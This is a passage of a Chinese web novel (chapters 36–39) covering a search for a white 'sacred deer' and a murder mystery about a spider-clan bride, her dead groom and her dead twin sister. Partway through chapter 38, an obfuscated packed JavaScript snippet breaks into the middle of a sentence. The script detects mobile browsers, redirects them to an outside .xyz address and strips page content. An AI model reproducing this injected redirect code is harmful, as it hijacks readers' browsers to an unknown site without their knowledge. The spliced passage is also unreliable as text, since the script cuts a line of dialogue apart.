方妙突然指着前方的灌木丛惊呼:“你们看!那是什么?”众人顺着她指的方向望去,只见一抹雪白的影子在枫叶间一闪而过,速度极快,只隐约看到那生物额头中间似乎有个凸起。 “是神鹿!”方妙下意识地喊了出来。江知烨立刻搭箭瞄准,但那白色身影早已消失在密林深处。 “真的是神鹿吗?”顾夜白瞪大了眼睛,“它跑得好快啊!” 安德鲁凝视着神鹿消失的方向,若有所思:“身形确实像鹿,但通体雪白……或许真如林伯所说,是山中祥瑞。” 柳漠澜轻轻摇头:“不管是什么,既然它不愿被人打扰,我们也不必强求。” 白鸽突然指了指神鹿消失处的地面,众人走近一看,只见落叶上留有几个小巧的蹄印,蹄印边缘带着淡淡的白色绒毛。 方妙小心翼翼地蹲下身,捡起一根绒毛。 “原来神鹿真的存在……”她喃喃道,眼里满是惊奇。 安德鲁扶她起身:“时候不早了,我们该回去了。神鹿既然不愿现身,便是无缘,不必挂怀。” 闻言众人这才恋恋不舍地调转马头,朝着鹿鸣庄走去。 虽然没能近距离看到神鹿,但那惊鸿一瞥的雪白身影,都让这次打猎变得格外有意义了。 37. 云深再觅灵鹿影 方妙趴在廊下的栏杆上,指尖捻着那日拾到的雪白绒毛。 这几日她总往山林边缘跑,盼着能再撞见那抹惊鸿般的白影,连烤肉时都心不在焉,惹得江知烨直笑她“被神鹿勾走了魂”。 “真的不再去看看吗?”方妙扭过头,眼睛亮晶晶地望着正在擦拭弓箭的安德鲁,“林伯说后山的雾松坪常有鹿群出没,说不定……” 安德鲁放下弓弦,走过来替她将滑落的披帛系好:“山林广袤,神鹿若不愿现身,寻也是枉然。” 他话音刚落,江知烨就大步流星地从月洞门进来,手里还拎着两只刚剥好的山鸡:“去!怎么不去?难得妙儿有兴致,哥几个陪你找!” 这时顾时夜和顾夜白像两只雀儿似的蹦跶过来,兄弟俩一人拽住方妙一只胳膊:“妙儿姐放心,我们兄弟俩眼神最好,别说神鹿,就是林子里的松鼠洞都能给你数清楚!” “既然这样,那就去吧。”安德鲁笑着说,“看看这次运气怎么样。” 辰时三刻,七人再次策马向山林深处进发。这次安德鲁选了条更僻静的山路,松针与落叶铺就的小径上,偶尔能见到几枚模糊的蹄印。方妙骑在小白马上,眼睛一眨不眨地扫视着四周,连松鼠窜过树梢的声响都能让她猛地抬头。 江知烨见状,故意压低声音喊:“快看!神鹿!”方妙立刻顺着他指的方向望去,却只看到一棵被风刮歪的白皮松,气得直朝他做鬼脸。 “别逗她了。”柳漠澜笑着拍了拍江知烨的马背,“你看那边,是不是鹿群留下的痕迹?”众人循声望去,只见前方的灌木丛有被啃食过的痕迹,泥土上散落着几缕浅棕色的鹿毛。 顾夜白立刻来了精神:“哥,我们分头找找!”说着便要策马往林子深处钻,却被安德鲁喝住:“站住!说了别走散!” 安德鲁勒住马缰,目光扫过四周渐渐变浓的雾气:“雾松坪快到了,这里地势低洼,雾气最容易聚集。知烨,你带时夜、夜白走左侧山梁,我和漠澜、方妙、白鸽走右侧溪涧,半个时辰后在前方那棵独松树下汇合。”他从马鞍旁解下一枚铜哨:“有事吹哨,别硬闯。” 江知烨应了声,带着顾氏兄弟往山梁方向去了。 方妙跟着安德鲁沿溪涧前行,溪水在卵石间蜿蜒,偶尔能见到几尾银鱼跃出水面。 白鸽突然勒住马,指着溪边的泥地:“那里。” “真的是神鹿!”方妙压低声音惊呼,心跳得像揣了只兔子。 柳漠澜下马查看蹄印的方向:“蹄印往上游去了,看来它确实在这附近活动。” 安德鲁示意众人下马步行,“别惊动它,我们悄悄跟上。” 越往上游走,雾气越浓,能见度不足十步。 方妙紧紧攥着安德鲁的衣袖,心里既紧张又兴奋。 突然,顾时夜的声音隔着雾气飘过来:“小白!你看这是什么?”紧接着是顾夜白的惊呼:“哇!好多野葡萄!” “别吵!”安德鲁低声喝止,但已经晚了。前方的灌木丛传来一阵急促的踩踏声,一抹雪白的影子猛地从雾中窜出,快得像道闪电。 方妙下意识地追了两步:“神鹿!等等!”那白鹿却头也不回地冲进更深的雾里,只留下一串急促的蹄声。 “都怪你们!”方妙气鼓鼓地回头瞪着两只乌鸦嘴,眼眶都红了。 顾时夜和顾夜白自知理亏,缩着脖子不敢说话。 江知烨赶紧出来打圆场:“哎呀,下次一定安静!说不定神鹿只是去喝水,我们再找找……” 他话音未落,天空突然暗了下来,豆大的雨点“噼里啪啦”地砸在枫叶上。 “不好,要下大雨!”安德鲁抬头看了看瞬间变黑的云层,“快!找地方避雨!”众人来不及多想,纷纷策马往地势较高的方向跑。 雨势来得极猛,转眼间就汇成了雨幕,山路变得泥泞不堪,马蹄几次打滑。 “这边有个山洞!”柳漠澜的声音在雨幕中响起。众人循声望去,只见前方山壁下果然有个黑黢黢的洞口。 安德鲁率先冲过去,将方妙扶下马:“快进去!” 顾氏兄弟连滚带爬地冲进洞,头发和衣裤都已湿透。白鸽默默地将方妙的小白马拴在洞口的岩石上,又解下自己的披风递给她。 山洞不算深,洞壁干燥,地面铺着一层厚厚的枯叶。安德鲁从行囊里拿出火折子,“嗤”地一声点燃了带来的松明火把。 “幸好找到了地方。”江知烨搓着胳膊,“这天说变就变,冻死人了。” 柳漠澜从包里拿出干毛巾,依次递给众人:“擦擦吧,别着凉了。”方妙刚接过毛巾,突然听到洞口传来一阵轻微的响动。 众人警惕地握紧了身边的弓箭,安德鲁将方妙护在身后,低声道:“谁?” 雨幕中,一抹雪白的身影慢慢走了进来。 正是那只他们苦苦寻找的“神鹿”。只见它浑身的白毛被雨水打湿,紧贴在身上,显得有些狼狈。鹿角不算雄伟,额心确实有个小小的凸起,像是新生的鹿茸嫩芽。它似乎也没想到洞里会有人,进来时微微顿了一下,湿漉漉的眼睛怯生生地望着众人。 “真的是神鹿……”方妙忍不住往前走了一步,声音里带着惊奇。 那白鹿没有躲闪,只是低下头,用舌头舔着前腿上的一道伤口——伤口不算深,像是被荆棘划破的。 “它受伤了。”柳漠澜放下毛巾,从药囊里取出金疮药,“别怕,我们不会伤害你。” 白鹿似乎能感受到他的善意,只是稍稍往后退了退,并没有跑开。 柳漠澜蹲下身,小心翼翼地替它清理伤口、敷药,白鹿安静地站着,长长的睫毛上挂着水珠。 方妙看得入了神,原来传说中的神鹿,也只是一只会受伤、会躲雨的普通白鹿。 它没有腾云驾雾的本事,也没有金光闪闪的皮毛,只是毛色比寻常鹿更白些,额心多了个可爱的凸起。 她忍不住伸出手,轻轻碰了碰白鹿的鼻尖。白鹿打了个喷嚏,湿润的鼻尖蹭了蹭她的手指,痒痒的。 “它好像不怕人。”顾时夜凑过来,好奇地打量着白鹿,“妙儿姐,你看它的眼睛,像不像黑葡萄?”顾夜白也跟着点头:“比我们刚才摘的野葡萄还亮!” 方妙从布包里拿出一块烤得酥脆的麦饼,掰下一小块递给白鹿。白鹿犹豫了一下,用嘴轻轻叼走,嚼得津津有味。 柳漠澜看着它温顺的样子,轻声道:“看来它常在这里活动,或许以前也有人遇见过它,只是被传成了神鹿。” 江知烨拍了拍大腿:“管它是不是神鹿,长得好看就行!你看它这皮毛,雪白雪白的,比妙儿的帕子还干净!”方妙嗔怪地瞪了他一眼,却忍不住笑了。 原来追寻了许久的“神鹿”,不过是山林里一只普通的生灵,因着稀有和神秘,才被赋予了祥瑞的传说。 雨渐渐小了,天空透出些微光亮。 安德鲁走到洞口查看:“雨停了,我们该回去了。”众人纷纷起身收拾东西,方妙恋恋不舍地摸了摸白鹿的头:“我们走了哦,你好好养伤。”白鹿蹭了蹭她的手掌,像是在回应。 出了山洞,才发现外面的世界被雨水冲刷得焕然一新,枫叶红得更艳,松针绿得发亮。 众人牵着马往鹿鸣庄的方向走,方妙走在安德鲁身边,看着脚下被雨水冲出的小溪,心里有种 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“我们走的是东侧溪涧,绕开了泥石流的方向。”安德鲁安抚地拍了拍林伯的肩膀,“路上遇到大雨,在山洞里避了一会儿,没事。” “没事就好,没事就好!”林伯连连拍着胸口,像是卸下了千斤重担,“快进屋,我让厨房炖了姜汤,赶紧喝一碗去去寒气。”他说着,又仔细打量了众人一番,见众人虽然衣裤湿透但精神尚可,方妙也只是脸颊有些苍白,这才稍稍放心。 江知烨大大咧咧地笑道:“林伯您别担心,我们是谁?山林里的老手了!别说泥石流,就是老虎来了也能……”话没说完就被柳漠澜轻轻戳了下腰眼,他吐了吐舌头,赶紧改口,“咳咳,总之我们安全回来了,让您担心了。” 佣人端来热气腾腾的姜汤,碗里飘着姜片和红糖的香气。方妙捧着碗小口喝着,暖意从胃里蔓延到四肢百骸,刚才在雨里受的寒气顿时消散了不少。 林伯坐在主位上,看着众人喝姜汤,眉头依然紧锁:“说起来也怪,今年的雨水格外大,前几日刚下过,这又来一场……后山的路怕是一时半会儿修不好了。”他顿了顿,看向安德鲁,“安德鲁大人,你们还要在庄里多住些日子吗?若是急着赶路,我让人去探探别的山道。” 安德鲁看了看其他人,江知烨立刻摇头:“不急不急!鹿鸣庄山好水好,烤肉更香,我还没住够呢!” 顾时夜和顾夜白也跟着点头:“就是就是,等路修好了再走!” 方妙也小声说:“我也想多待几天,这里的枫叶太好看了。” 柳漠澜替江知烨擦了擦嘴角的姜汤渍,温声道:“听安德鲁的安排。” 安德鲁沉吟片刻,对林伯道:“那就多叨扰几日,等山路畅通了再走。只是辛苦林伯了。” “不辛苦不辛苦!”林伯连忙摆手,“你们肯来,是鹿鸣庄的福气。只是这几日千万别再往山里去了,泥石流过后,山里容易有落石,不安全。”他特意看了方妙一眼,“尤其是你啊,方丫头,想看枫叶就在庄里看看,别往深处跑了。” 方妙吐了吐舌头,乖巧地应道:“知道了林伯,我不乱跑。” 接下来的几日,众人果然安分地待在鹿鸣庄里。 方妙有时会坐在廊下画画,画枫树下的石桌,画屋檐下的风铃,偶尔也会画那只山洞里的白鹿。 她发现自己其实并不失落,那天在山洞里,当她触碰到白鹿温热的鼻尖时,心里涌起的不是对“神鹿”的敬畏,而是对一个普通生命的喜爱。 原来传说之所以美好,或许正是因为它隔着一层神秘的面纱,而当面纱揭开,那份真实的遇见,同样值得珍惜。 38. 畸形爱恋 暮秋,顾家独子顾云与黑寡妇蜘蛛族长女苏圩木大婚,次日清晨,顾云暴毙于新房。更诡异的是,没多久后,苏家双生女传出消息:妹妹苏许暮离奇身亡,而姐姐苏圩木则被诊出有孕。 消息如毒蛛蔓延,镇子上议论纷纷。“黑寡妇果然克夫……还搭上了亲妹妹!”“听说姐姐有了身孕,这孩子……”揣测声中,对蜘蛛族“食夫”习性的恐惧,与对双生姐妹一死一孕的怪象交织,让案情蒙上妖异色彩。 “江大人!妙儿姐!这边!” 清脆的呼喊声打破了顾家大宅门前的沉寂。 江知烨此刻正微微蹙眉,审视着顾家大宅紧闭的大门。听到呼喊,他转过头,目光落在快步走来的两人身上,无奈地摇了摇头:“时夜,夜白,说了多少次,在当值时别这么叫。” “知道啦江大人!”顾时夜吐了吐舌头,与顾夜白对视一眼,两人眼中都闪过一丝促狭。 “知烨,时辰不早了,咱们该进去了吧?” 江知烨点了点头,不再多言,上前叩响了门环。开门的是顾家的老管家,面色愁苦,见到江知烨一行人,连忙将他们迎了进去。 “江大人,您可来了……这案子,真是愁死我们了……”老管家唉声叹气,引着他们穿过回廊,走向案发的院落。 “顾云的尸体还保存完好吗?”江知烨问道。 “是的是的,一直停在西厢房,等着官府查验。只是……苏家的两位小姐……”老管家欲言又止,脸上露出复杂的神色,“苏大小姐……苏圩木小姐她……有了身孕,而二小姐苏许暮小姐……昨天早上被发现……没了气息。” 方妙闻言,忍不住轻呼一声:“一个怀孕,一个死亡?这也太……” 顾时夜接口道:“而且还是在顾云死后,这时间点也太巧了吧?” 顾夜白则低声补充:“哥,别忘了,她们是黑寡妇蜘蛛族……” 江知烨眼神一凝。黑寡妇蜘蛛族,以雌性强大、且在繁衍后有食用雄性的习性闻名。顾云的死,从一开始就有人往这方面联想,但苏家姐妹同为该族,为何会在一个月后出现如此诡异的结局? 说话间,他们已来到顾云生前的卧房。房间布置得还算雅致,但空气中弥漫着一股淡淡的血腥味与久未通风的沉闷气息。顾云的尸体停放在房间中央的木板上,盖着白布。 江知烨走上前,小心翼翼地掀开白布一角。顾云的脸色青灰,双目圆睁,嘴角似乎还残留着一丝惊恐,脖颈处有一个清晰的齿印,伤口周围皮肤呈现出诡异的紫黑色。 “致命伤在这里,”江知烨指着齿印,“像是某种毒牙造成的。” 方妙凑近观察,眉头微蹙:“这齿印……有点像蜘蛛的獠牙,但尺寸又不太对。而且,黑寡妇蜘蛛族的雌性,确实有毒牙,但一般不会在……”她顿了顿,有些不好意思地红了脸,“在那种时候下杀手吧?通常不是繁衍之后吗?” 顾时夜摸了摸下巴,故作老成:“妙儿姐说得有道理。顾云是大婚第二天死的,按理说,就算是苏圩木小姐……也该是事后才……” “别瞎猜,”江知烨打断他,“先勘察现场,看看有没有遗漏的线索。” 他环顾四周,房间内并没有明显的打斗痕迹,桌椅摆放整齐,“顾云死的那天晚上,喝了很多酒吗?” 老管家点头:“是的,大婚之夜,宾客众多,姑爷喝了不少,回来时已经醉得厉害。” “苏圩木呢?她当时在哪里?” “大小姐……大小姐说姑爷醉了,她在旁边照顾。第二天早上,是大小姐发现姑爷……没了气息,才报的案。” “两姐妹长得一模一样,你确定报案的是苏圩木?”江知烨忽然问道。 老管家一愣,脸上露出犹豫的神色:“这……当时事发突然,老奴……老奴看着是大小姐的衣着,而且二小姐当时……好像也在旁边,但具体……” 方妙眼睛一亮:“对呀!她们是双胞胎,长得一样,很容易认错!说不定……” “别急,”江知烨示意她稍安勿躁,“先记录下来。时夜,夜白,你们去看看房间周围,有没有什么可疑的痕迹,比如脚印、破损的东西。” “得令!”顾氏兄弟立刻应声,一溜烟地窜出了房间。 江知烨则继续在房内查看,他注意到床边的地毯上有一小片不太明显的污渍,颜色偏红,像是稀释过的血迹。他蹲下身,用指尖沾了一点,放在鼻尖轻嗅,除了血腥味,似乎还有一丝若有若无的甜香。 “这是什么味道?”他喃喃自语。 方妙也凑过来闻了闻,歪着头想了想:“有点像……黑寡妇蜘蛛族分泌的信息素?但很淡,而且不太一样。” 黑寡妇蜘蛛族的雌性在特定时期会分泌信息素,用于吸引雄性,但通常伴随着强烈的气味,而这里的味道却异常微弱,还夹杂着甜香。 就在这时,顾时夜的声音从窗外传来:“江大人!妙儿姐!快来看!” 江知烨和方妙立刻走出房间,只见顾时夜和顾夜白正蹲在院角的草丛边,对着什么东西指指点点。 “发现什么了?”江知烨问道。 顾夜白抬起头,手里拿着一根细长的黑色丝线:“江大人,你看这个,缠在草丛里,像是蜘蛛丝,但颜色和韧性都不太一样。” 江知烨接过丝线,入手冰凉,韧性极佳,确实与普通的蜘蛛丝不同,更像是黑寡妇蜘蛛族特有的蛛丝,但颜色偏深,近乎墨黑。 “这院子平时有人打扫吗?”江知烨问老管家。 “有的,每天都有仆人打扫。” “那这蛛丝怎么会留到现在?”顾时夜追问,“顾云死了都快好几日了,中间肯定打扫过很多次吧?” 老管家面露难色:“自从姑爷和苏家小姐出事后,这院子就有些……邪门,仆人们都不太敢靠近,打扫得也不如以前仔细了。” 江知烨点点头,将蛛丝收好,又看向院墙上的一处攀爬痕迹。痕迹很新,像是有人最近翻墙而过。“顾家的院墙不低,能轻易翻进来的,身手不一般。” “会不会是凶手回来过?”方妙猜测道。 “有可能。”江知烨站起身,“走,去看看苏圩木和苏许暮的住处。” 在老管家的带领下,他们来到苏家姐妹暂住的东跨院。院子不大,但收拾得干净雅致。正房内,气氛却显得格外压抑。 苏圩木坐在窗边的椅子上,她长相妖艳清冷,但此刻脸色苍白,身形消瘦。见到江知烨一行人,眼神有些茫然,随即低下头,双手无意识地抚摸着小腹。 而在房间的另一侧,苏许暮的尸体停放在那里,同样盖着白布。 “苏大小姐,”江知烨尽量让自己的声音温和,“我们是来调查你丈夫和你妹妹的案子的,有些问题想问问你。” 苏圩木没有抬头,只是轻轻“嗯”了一声,声音细若蚊蚋。 “你丈夫顾云死的那天晚上,你在哪里?” “我……我就在房间里。” “一整晚都没出去过?” “是……” “那你妹妹呢?她当时是在自己房间吗?” 苏圩木的肩膀微微一颤,点了点头。 “你妹妹苏许暮是怎么死的?”江知烨继续问道,目光锐利地观察着苏圩木的反应。 提到妹妹的死,苏圩木的眼圈终于红了,泪水无声地滑落:“我不知道……早上起来,就发现妹妹她……躺在床上,没有呼吸了……” “她身上有伤口吗?” “没……没有,看起来像是……像是睡着了……” 方妙走到苏许暮的尸体旁,轻轻掀开白布一角。苏许暮的脸色安详,确实没有明显的外伤,就像睡着了一样,但仔细观察,会发现她的皮肤下隐约有一些淡紫色的纹路,像是血液凝固不畅的痕迹。 “知烨,你看这里。”方妙指着苏许暮的手腕。 江知烨走过去,只见苏许暮的手腕上有一些细微的齿印,非常浅,不仔细看根本发现不了,颜色呈淡淡的青紫色,与顾云脖颈上的齿印形状有些相似,但要小得多。 “这是……”江知烨眉头紧锁。 顾时夜和顾夜白也凑了过来,顾夜白小声说:“哥,你看,这齿印是不是和顾云脖子上的有点像?” 顾时夜点点头:“但是小很多,像是……像是幼蛛的獠牙?不对,黑寡妇蜘蛛族的雌性,就算是幼蛛,獠牙也比这大吧?” 江知烨没有说话,目光转向苏圩木。苏圩木此刻正低着头,肩膀微微耸动,似乎在无声地哭泣,但她的手却紧紧地攥着衣角,指节因为用力而发白。 “苏大小姐,”江知烨忽然问道,“你怀孕多久了?” 苏圩木身体一僵,过了好一会儿才抬起头,泪水模糊了双眼:“大夫说……刚有没多久.....” “顾云……他之前对你怎么样?”江知烨的问题看似随意,却暗藏机锋。 提到顾云,苏圩木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694770|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神闪烁了一下,嘴唇动了动,最终还是低下了头:“他……他是我未婚夫……” “那对你妹妹呢”江知烨步步紧逼,“有人说,顾云其实喜欢妹妹,只是因为家族联姻,才不得不娶你,是吗?” 这句话一出,苏圩木猛地抬起头,眼中充满了震惊和慌乱:“你……你听谁说的?没有的事!” “有没有,你心里清楚。”江知烨的声音不高,却带着一股压迫感,“顾云大婚之夜喝得酩酊大醉,是不是因为心里不痛快?是不是因为娶的人不是你妹妹?” 苏圩木的脸色变得惨白,身体微微颤抖起来,泪水流得更凶了:“不是的……不是这样的……你别问了……” “他喝醉了,是不是去找你妹妹了?”江知烨继续追问,“然后发生了什么?顾云是怎么死的?你妹妹又是怎么死的?” “我不知道!我什么都不知道!”苏圩木突然尖叫起来,双手捂住耳朵,“你们走!都走!别问了!” 老管家见状,连忙上前:“江大人,大小姐身子弱,又刚失去妹妹,您看这……” 江知烨深深地看了苏圩木一眼,没有再逼问,示意方妙和顾氏兄弟离开。 走出东跨院,方妙忍不住说:“知烨,你看苏圩木的反应,肯定有问题!顾云喜欢她妹妹,不想娶她,大婚之夜喝多了去找她的妹妹,然后……然后可能发生了什么, 导致顾云被杀。现在妹妹又死了,她还怀孕了,这中间肯定有联系!” “我也这么觉得,”顾时夜点头,“特别是那齿印,顾云脖子上有,苏许暮手腕上也有,虽然大小不同,但形状相似,肯定是同一种东西弄的!” 顾夜白补充道:“还有那蛛丝,颜色那么特别,肯定和凶手有关。而且苏许暮死得太奇怪了,没有外伤,却突然死了,皮肤下还有紫纹,像是中毒或者……被什么东西吸走了生命力?” 江知烨沉吟道:“黑寡妇蜘蛛族的习性,雌性在繁衍时,确实有食用雄性的可能,为了获取营养孕育后代。但顾云是大婚第二天死的,时间点不对。而且苏圩木怀孕一个月,正好是顾云死的时候,但是为什么大婚结束后姐姐为什么不吃掉顾云?” “对啊”方妙疑惑,“如果大婚那晚顾云是和姐姐在一起,那为什么姐姐不吃掉他?” “所以,问题就出在大婚之夜。”江知烨眼神锐利,“顾云喝醉了,可能去找了苏许暮,然后发生了冲突,或者……其他事情,导致他被杀。而苏圩木,很可能知道了什么,为了保护妹妹,才隐瞒了真相。” “那最后苏许暮又是怎么死的呢?”顾时夜问道,“总不能是后来苏圩木又杀了她吧?她们是亲姐妹啊!” “如果和黑寡妇蜘蛛族的习性有关呢?”江知烨缓缓道,“我们都知道雌性会吃掉雄性,但你们有没有想过,在某些特殊情况下,比如……雌性怀孕后,没有足够的营养,或者找不到合适的雄性,会怎么样?” 众人闻言,皆是一愣。 方妙猛地反应过来:“你是说……她会吃掉其他同族?甚至……亲人?” 江知烨没有肯定,只是说:“黑寡妇蜘蛛族的习性,本就与寻常种族不同。苏圩木怀孕了,按照她们的习性,需要大量的营养,甚至可能需要……食用伴侣。但是她为什么不食用顾云?她去哪里获得的营养?如果……如果她的妹妹愿意……” 他的话没有说完,但其中的含义却让众人不寒而栗。 “这太可怕了……”顾夜白喃喃道。 “不过这只是猜测,”江知烨收回思绪,“我们需要更多的证据。时夜,夜白,你们去查一下顾云生前的人际关系,看看他有没有什么仇家,或者有没有其他异常行为。特别是他和苏许暮的关系,一定要查清楚。” “好嘞!”顾氏兄弟立刻领命。 “妙儿,你去镇上的药铺和医馆看看,有没有人买过特殊的药物,或者有没有关于黑寡妇蜘蛛族习性的特殊记载。” “知道了!”方妙点头。 “我再去一趟顾家,看看能不能从老管家或者其他仆人口中问出些什么。”江知烨安排道,“记住,我们的目标是找出真相,但也要注意保护好自己,这案子背后,可能牵扯到我们不了解的秘密。” “明白!”三人齐声应道,随即分头行动。 江知烨看着他们离去的背影,又回头望了一眼东跨院的方向,眼神深邃。蛛网已经铺开,而他,必须在这迷局中,找到那根关键的丝线。 39. 暗流涌动寻踪 江知烨再次回到顾家大宅,没有直接去找老管家,而是先在府中随意走动,观察仆人们的反应。 他发现,府中的仆人大多神色紧张,眼神躲闪,似乎对顾云的死和苏家姐妹的遭遇讳莫如深。 他走到厨房附近,看到几个仆人正在低声交谈,见到他过来,立刻噤声,纷纷低头干活。 “你们在聊什么?”江知烨装作随意地问道。 一个年纪稍长的厨娘连忙赔笑:“没……没什么,江大人,就是在商量晚饭吃什么。” 江知烨没有追问,只是笑了笑:“顾云生前,口味如何?如何那晚,他是不是喝了很多酒?” 提到顾云,厨娘的脸色微变,犹豫了一下才说:“姑爷他……平时还算温和,但大婚那晚,确实喝了不少,好像心里有什么不痛快似的,一直喝闷酒。” “他有没有说什么醉话?” 厨娘摇了摇头:“当时人多手杂,老身也没太听清,好像……好像提到了‘许暮’两个字,还说什么‘对不起’之类的。” “许暮?”江知烨心中一动,“他是对着谁说的?是‘圩木’还是‘许暮’?” “好像是对着……对着二小姐的方向,但当时二小姐早就回房了,姑爷可能是说胡话吧。” 江知烨点点头,又问了些其他问题,见厨娘确实知道得不多,便转身离开。他来到前院,正好遇到老管家从外面回来。 “老管家,”江知烨叫住他,“我想再问问,苏圩木和苏许暮姐妹俩,平时关系怎么样?” 老管家叹了口气:“唉,要说这姐妹俩,从小感情就好,形影不离的。大小姐苏圩木性子稳重些,二小姐苏许暮更活泼些。只是……” “只是什么?” “只是自从顾云少爷和大小姐定亲后,二小姐看顾云少爷的眼神,就有些不一样了,而顾云少爷……也时常偷偷看二小姐。老奴当时就觉得有些不对劲,但这是人家的家事,老奴也不好多嘴。” “顾云有没有为了苏许暮,和家里闹过?” 老管家犹豫了一下,还是说道:“闹过,怎么没闹过?顾云少爷一开始就不想娶大小姐,说他喜欢的是二小姐。但顾家与苏家的联姻,是早就定下的,关乎两个家族的利益,老爷夫人说什么也不同意。顾云少爷拗不过,才勉强答应的。大婚那天,他喝成那样,恐怕也是心里憋屈。” 果然如此。江知烨心中的猜测得到了证实。顾云喜欢苏许暮,被迫娶了姐姐,大婚之夜借酒消愁,然后去找了妹妹,结果丢了性命。而姐姐苏圩木,为了保护妹妹,隐瞒了真相。 但问题是,顾云是怎么死的?苏许暮又是为何会死? “老管家,”江知烨继续问道,“苏许暮死的前几天,有没有什么异常?比如身体不舒服,或者和苏圩木有过争执?” 老管家仔细回想了一下:“异常……好像也没有。就是觉得二小姐那段时间特别照顾大小姐,嘘寒问暖的,比以前更亲了。大小姐怀孕后,身子弱,二小姐几乎寸步不离地守着她。要说争执……倒是没见过,姐妹俩感情那么好,怎么会争执呢。” 寸步不离地守着?江知烨想起苏许暮手腕上的齿印,心中隐隐有了一个可怕的念头。难道…… 他不敢再想下去,告别老管家,走出顾家大宅。此时,夕阳西下,将青石镇染上了一层温暖的金色,但江知烨的心情却异常沉重。 他来到约定好的茶楼,顾时夜和顾夜白已经等在那里。 “江大人,我们回来了!”顾时夜见到他,立刻招手。 “查到什么了?”江知烨坐下,问道。 顾夜白抢先说道:“我们去问了顾云的几个朋友,他们都说顾云心里一直有苏许暮,对这门婚事很不满意,大婚前夕还喝了好几次闷酒,说自己命苦,不能娶心上人。” 顾时夜接着说:“我们还打听了一下苏许暮,有人说她其实也喜欢顾云,只是姐姐先定了亲,她不好说什么。还有人看到,大婚当晚,顾云喝多了,摇摇晃晃地往苏许暮的院子方向走,不过后来被一个仆人扶回去了。” “被仆人扶回去了?”江知烨皱眉,“那之后呢?” “之后就不知道了,”顾时夜摇头,“那个仆人第二天就被顾家辞了,我们没找到人。” 江知烨沉吟片刻,又问:“那关于顾云的仇家呢?有没有人想杀他?” 顾氏兄弟对视一眼,都摇了摇头。 “顾云这人平时还算和善,虽然有些郁郁寡欢,但没听说和谁结过死仇。”顾夜白说。 就在这时,方妙也急匆匆地赶来了。 “知烨,时夜,夜白,我回来了!”她坐下后,端起茶杯喝了口水,才说道,“我去了镇上所有的药铺和医馆,没查到什么特殊的药物。不过,我在一家医馆里,遇到了一位老大夫,他对兽人种族的习性有些研究,我跟他打听了一下黑寡妇蜘蛛族的事。” “他怎么说?”众人连忙问道。 方妙清了清嗓子,说道:“老大夫说,黑寡妇蜘蛛族的雌性,在发情期会分泌强烈的信息素吸引雄性,□□后,为了获取足够的营养孕育后代,确实有食用雄性的习性,这是它们的本能。但这种情况并不是绝对的,也有雌性在□□后放过雄性的例子。” “那如果雌性怀孕了,却没有食用雄性呢?”江知烨追问。 “老大夫说,这样的话,雌性体内的激素水平会发生变化,可能会变得异常虚弱,甚至……需要从其他地方获取营养,比如……”方妙顿了顿,眼神有些凝重,“比如同族的雌性,尤其是血缘亲近的同族。” 果然如此!江知烨心中一沉。苏圩木怀孕了,却没有按照习性吃掉顾云,或者说,顾云在□□后就死了,她没来得及吃?导致她身体虚弱,需要补充营养。而妹妹苏许暮,为了保护姐姐,选择了牺牲自己,让姐姐…… 这个想法太过残忍,但所有的线索似乎都在指向这个方向。 “可是,”顾时夜提出疑问,“顾云大婚之夜不是被仆人扶回去的了吗?还有精神去和苏圩木那玩意吗?” “谁知道呢?”江知烨缓缓道,“嘴上说着不喜欢,结果还让人姑娘怀孕......” “还有,”顾夜白补充,“顾云脖子上的齿印,和苏许暮手腕上的齿印,大小不同,这怎么解释?” “如果顾云是被苏许暮杀死的,”江知烨分析道,“那她当时可能是出于自卫,或者是在某种情绪失控的情况下下的手,所以留下了齿印。而她手腕上的齿印,可能是……苏圩木为了获取营养,对妹妹做的。” “但齿印大小不一样啊!”顾时夜说。 “也许是因为……”方妙咬了咬嘴唇,“也许是因为苏圩木怀孕后,身体发生了变化,獠牙的形态也不一样了?或者,她当时并没有下杀手,只是吸取了一些血液或生命力,所以齿印比较浅?” 这似乎也说得通。 江知烨揉了揉眉心,感觉案情逐渐清晰,但又有许多细节无法确定。没有直接的证据,一切都只是推测。 “我们需要找到更多的证据,”江知烨说,“比如,那根特殊的蛛丝,到底是谁留下的?顾云死的那晚,到底发生了什么?苏许暮死前,和苏圩木之间有没有什么异常的互动?” “那我们接下来怎么做?”方妙问道。 “时夜,夜白,”江知烨看向顾氏兄弟,“你们再去顾家一趟,想办法接近苏圩木,看看她有没有什么异常举动,或者能不能从她身上找到一些线索,比如那根蛛丝的来源。” “可是我们怎么接近她呢?她现在怀着孕,又刚死了妹妹,肯定心情不好,不让人靠近吧?”顾时夜有些为难。 “想办法,”江知烨挑眉,“你们不是最会调皮捣蛋,让人防不胜防吗?” 两小乌鸦对视一眼,露出了狡黠的笑容:“明白!保证完成任务!” “妙儿,”江知烨又看向方妙,“你再去一趟那家医馆,问问老大夫,黑寡妇蜘蛛族雌性在怀孕后,除了需要营养,还有没有其他特殊的习性或症状,比如会不会分泌特殊的蛛丝,或者有没有什么方法可以确认她是否……食用过同族。” “好的,我这就去!”方妙点头。 “我则去查一下那个被辞掉的仆人,看看能不能找到他,他可能是唯一知道那晚真相的人。” 安排好任务,四人再次分头行动。夕阳已经沉入地平线,夜幕开始降临,青石镇笼罩在一片静谧之中,但江知烨知道,在这片静谧之下,暗流正在涌动,而他们,必须在真相被彻底掩埋之前,将其挖掘出来。 夜色渐浓,顾家大宅里灯火稀疏,只有东跨院的房间还亮着微弱的灯光。顾时夜和顾夜白像两只灵活的狸猫,悄无声息地潜入了东跨院的角落。 “哥,你说苏圩木现在在干什么?”顾夜白低声问道。 “谁知道呢,说不定在哭呢,”顾时夜撇撇嘴,“不过江大人让我们来找线索,怎么找啊?直接进去问她是不是杀了顾云和她妹妹?” “那不行,肯定会被赶出来的,”顾夜白摇头,“我们得想个办法,偷偷观察她。” 两人蹲在草丛里,借着月光观察着正房的动静。只见苏圩木坐在床边,手里拿着一块布料,似乎在缝补着什么,动作缓慢而机械,眼神空洞地望着前方,脸上没有什么表情。 